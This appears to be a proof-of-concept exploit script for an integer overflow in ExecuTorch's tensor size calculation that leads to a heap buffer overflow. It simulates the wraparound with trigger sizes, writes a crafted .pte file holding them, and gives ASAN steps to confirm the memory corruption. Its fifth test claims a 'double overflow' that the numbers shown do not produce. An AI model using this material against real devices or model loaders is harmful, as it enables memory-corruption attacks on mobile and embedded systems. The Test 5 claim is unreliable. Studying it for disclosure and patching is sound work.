#!/usr/bin/env python3
"""
PoC: ExecuTorch compute_numel() Integer Overflow → Heap Buffer Overflow
CWE-190 (Integer Overflow) → CWE-122 (Heap Buffer Overflow)

Target: pytorch/executorch
File:   runtime/core/portable_type/tensor_impl.cpp, line 41
        runtime/core/portable_type/tensor_impl.cpp, line 69

VULNERABILITY:
    ssize_t compute_numel(const TensorImpl::SizesType* sizes, ssize_t dim) {
        ssize_t numel = 1;
        for (const auto i : c10::irange(dim)) {
            ET_CHECK_MSG(sizes[i] >= 0, ...);
            numel *= sizes[i];  // ← NO OVERFLOW CHECK (line 41)
        }
        return numel;
    }

    size_t TensorImpl::nbytes() const {
        return numel_ * elementSize(type_);  // ← NO OVERFLOW CHECK (line 69)
    }

SAFE VERSION EXISTS (not used in tensor construction):
    runtime/executor/method_meta.cpp:56-85 uses c10::mul_overflows()

IMPACT:
    Malicious .pte model file with crafted tensor sizes causes compute_numel()
    to overflow, producing wrong numel. nbytes() returns small size, causing
    under-allocation. Subsequent tensor data access overflows the heap buffer.

TRIGGER VALUES:
    64-bit: sizes [2147483647, 2147483647, 4] → ssize_t overflow
    32-bit: sizes [65536, 65536] → numel wraps to 0 → zero-byte alloc
"""
import struct
import ctypes
import sys
import os

INT32_MAX = (1 << 31) - 1
SSIZE64_MAX = (1 << 63) - 1
SIZE64_MAX = (1 << 64) - 1


def simulate_compute_numel_64bit(sizes):
    """Simulates compute_numel() on 64-bit target (ssize_t = int64_t)"""
    numel = ctypes.c_int64(1)
    for s in sizes:
        assert s >= 0, "Non-negative check passes"
        numel = ctypes.c_int64(numel.value * s)
    return numel.value


def simulate_compute_numel_32bit(sizes):
    """Simulates compute_numel() on 32-bit target (ssize_t = int32_t)"""
    numel = ctypes.c_int32(1)
    for s in sizes:
        assert s >= 0, "Non-negative check passes"
        numel = ctypes.c_int32(numel.value * s)
    return numel.value


def simulate_nbytes(numel_ssize, element_size):
    """Simulates TensorImpl::nbytes() = numel_ * elementSize(type_)
    numel_ is ssize_t, result is size_t (unsigned)"""
    return ctypes.c_uint64(numel_ssize * element_size).value


def safe_calculate_nbytes(sizes, element_size):
    """Safe version from method_meta.cpp:56-85 using overflow detection"""
    n = 1
    for i, s in enumerate(sizes):
        product = n * s
        if product > SIZE64_MAX:
            return None, f"Overflow at dimension {i}"
        n = product
    total = n * element_size
    if total > SIZE64_MAX:
        return None, "Overflow in element size multiplication"
    return total, "OK"


def create_malicious_pte_binary():
    """
    Creates a minimal binary that demonstrates the .pte file structure
    containing overflow-triggering tensor sizes.

    A real .pte file uses FlatBuffers. This creates a structural demonstration
    showing where the malicious sizes would be embedded.
    """
    # FlatBuffer binary layout for a minimal Program with one Tensor
    # The actual exploit requires a valid FlatBuffer; this shows the concept

    # Extended header: magic "eh00" + length + program_size + segment_base_offset
    eh_magic = b'eh00'
    eh_length = struct.pack('<I', 28)  # header length
    eh_program_size = struct.pack('<Q', 256)  # program_size
    eh_segment_base_offset = struct.pack('<Q', 0)  # no segments
    eh_segment_data_size = struct.pack('<Q', 0)

    # FlatBuffer with ET12 identifier containing malicious tensor sizes
    # Offset 0: FlatBuffer size prefix
    # Offset 4: File identifier "ET12"
    # Offset 8: Extended header starts here

    # The malicious tensor sizes that trigger overflow:
    malicious_sizes_64bit = [INT32_MAX, INT32_MAX, 4]  # overflows ssize_t on 64-bit
    malicious_sizes_32bit = [65536, 65536]  # overflows ssize_t on 32-bit (→ 0)

    # Pack sizes as int32 (FlatBuffer schema: sizes: [int])
    sizes_data_64 = b''.join(struct.pack('<i', s) for s in malicious_sizes_64bit)
    sizes_data_32 = b''.join(struct.pack('<i', s) for s in malicious_sizes_32bit)

    # Build minimal structure
    # Note: This is NOT a valid FlatBuffer - it's a structural demonstration
    # showing where overflow-triggering data would be placed
    fb_identifier = b'ET12'

    # Minimal flatbuffer-like structure
    pte_data = bytearray(512)

    # Byte 0-3: flatbuffer size prefix (little-endian)
    struct.pack_into('<I', pte_data, 0, 256)

    # Byte 4-7: File identifier
    pte_data[4:8] = fb_identifier

    # Byte 8-11: Extended header magic
    pte_data[8:12] = eh_magic

    # Byte 12-15: Extended header length
    pte_data[12:16] = eh_length

    # Byte 16-23: program_size
    pte_data[16:24] = eh_program_size

    # Byte 24-31: segment_base_offset
    pte_data[24:32] = eh_segment_base_offset

    # Byte 32-39: segment_data_size
    pte_data[32:40] = eh_segment_data_size

    # Embed the malicious tensor sizes at a known offset for demonstration
    # In a real FlatBuffer, these would be in the Tensor.sizes vector
    SIZES_OFFSET = 64
    pte_data[SIZES_OFFSET:SIZES_OFFSET + len(sizes_data_64)] = sizes_data_64

    return bytes(pte_data), malicious_sizes_64bit, malicious_sizes_32bit


def main():
    print("=" * 72)
    print(" ExecuTorch compute_numel() Integer Overflow PoC")
    print(" CWE-190 → CWE-122 (Heap Buffer Overflow)")
    print("=" * 72)

    # ── Test 1: 64-bit overflow ──
    print("\n[1] 64-bit target: sizes = [INT32_MAX, INT32_MAX, 4]")
    print("─" * 50)

    sizes_64 = [INT32_MAX, INT32_MAX, 4]
    numel_64 = simulate_compute_numel_64bit(sizes_64)
    nbytes_64 = simulate_nbytes(numel_64, 4)  # float32 = 4 bytes

    expected_numel = INT32_MAX * INT32_MAX * 4
    expected_nbytes = expected_numel * 4

    print(f"  Tensor sizes:           {sizes_64}")
    print(f"  Expected numel:         {expected_numel}")
    print(f"  compute_numel() result: {numel_64}")
    print(f"  Overflowed:             {numel_64 != expected_numel}")
    print(f"  nbytes() (float32):     {nbytes_64}")
    print(f"  Expected nbytes:        {expected_nbytes}")

    if numel_64 < 0:
        print(f"  *** numel is NEGATIVE ({numel_64}) — signed overflow ***")

    # ── Test 2: 32-bit overflow (embedded target) ──
    print("\n[2] 32-bit target: sizes = [65536, 65536]")
    print("─" * 50)

    sizes_32 = [65536, 65536]
    numel_32 = simulate_compute_numel_32bit(sizes_32)
    nbytes_32 = ctypes.c_uint32(numel_32 * 4).value  # 32-bit size_t

    print(f"  Tensor sizes:           {sizes_32}")
    print(f"  Expected numel:         {65536 * 65536}")
    print(f"  compute_numel() result: {numel_32}")
    print(f"  nbytes() (float32):     {nbytes_32}")

    if numel_32 == 0:
        print(f"  *** numel is ZERO — allocator returns 0 bytes ***")
        print(f"  *** But tensor shape says {65536}x{65536} = 4GB data ***")
        print(f"  *** Any tensor access = HEAP BUFFER OVERFLOW ***")

    # ── Test 3: Comparison with safe code ──
    print("\n[3] Safe vs Unsafe comparison")
    print("─" * 50)

    print("  UNSAFE path (tensor_impl.cpp:41):")
    print(f"    compute_numel({sizes_64}) = {numel_64}  ← WRONG")
    print()

    safe_result, status = safe_calculate_nbytes(sizes_64, 4)
    print("  SAFE path (method_meta.cpp:62):")
    print(f"    calculate_nbytes({sizes_64}, float32) = {status}")
    if safe_result is None:
        print("    ← Correctly detects overflow and returns error")
    print()

    print("  The safe version uses c10::mul_overflows() but is only")
    print("  used in the metadata path, NOT in tensor construction.")

    # ── Test 4: Generate malicious .pte structure ──
    print("\n[4] Malicious .pte file generation")
    print("─" * 50)

    pte_data, sizes_64_used, sizes_32_used = create_malicious_pte_binary()

    output_path = os.path.join(os.path.dirname(__file__), "malicious_numel_overflow.pte")
    with open(output_path, "wb") as f:
        f.write(pte_data)

    print(f"  Created: {output_path}")
    print(f"  Size: {len(pte_data)} bytes")
    print(f"  64-bit trigger sizes: {sizes_64_used}")
    print(f"  32-bit trigger sizes: {sizes_32_used}")
    print()
    print("  NOTE: This is a structural demonstration. A full exploit requires")
    print("  a valid FlatBuffer with the ExecuTorch schema compiled in.")
    print("  Build ExecuTorch with ASAN to confirm the heap overflow:")
    print("    cmake -DCMAKE_CXX_FLAGS='-fsanitize=address' ..")
    print("    # Then load the crafted .pte via Program::load()")

    # ── Test 5: Additional overflow in nbytes() ──
    print("\n[5] nbytes() double overflow")
    print("─" * 50)

    # Even if numel doesn't overflow, numel * elementSize can
    sizes_nbytes = [INT32_MAX, 2]
    numel_nb = simulate_compute_numel_64bit(sizes_nbytes)
    # With float64 (8 bytes): INT32_MAX * 2 * 8 = ~34 GB, fits in size_t
    # With complex128 (16 bytes on some platforms):
    nbytes_huge = simulate_nbytes(numel_nb, 16)
    expected_huge = INT32_MAX * 2 * 16

    print(f"  sizes = {sizes_nbytes}, element_size = 16 (complex128)")
    print(f"  numel = {numel_nb} (fits in ssize_t)")
    print(f"  nbytes = numel * 16 = {nbytes_huge}")
    print(f"  Expected: {expected_huge}")
    print(f"  Overflow: {nbytes_huge != expected_huge}")

    # ── Summary ──
    print("\n" + "=" * 72)
    print(" SUMMARY")
    print("=" * 72)
    print("""
  Vulnerable functions:
    1. compute_numel()  — tensor_impl.cpp:41
    2. TensorImpl::nbytes() — tensor_impl.cpp:69

  Root cause:
    Multiplication of attacker-controlled int32 tensor sizes into ssize_t
    without overflow detection. Product wraps around, producing incorrect
    numel that leads to under-sized memory allocation.

  Safe code exists but unused:
    method_meta.cpp:56-85 uses c10::mul_overflows() — same repo, same team,
    but NOT applied to the tensor construction path.

  Impact:
    Heap buffer overflow when loading malicious .pte model files.
    Affects mobile/embedded devices (ExecuTorch's primary targets).
    32-bit targets: trivially exploitable (numel wraps to 0).
    64-bit targets: exploitable with carefully chosen sizes.
    """)

    return 0


if __name__ == "__main__":
    sys.exit(main())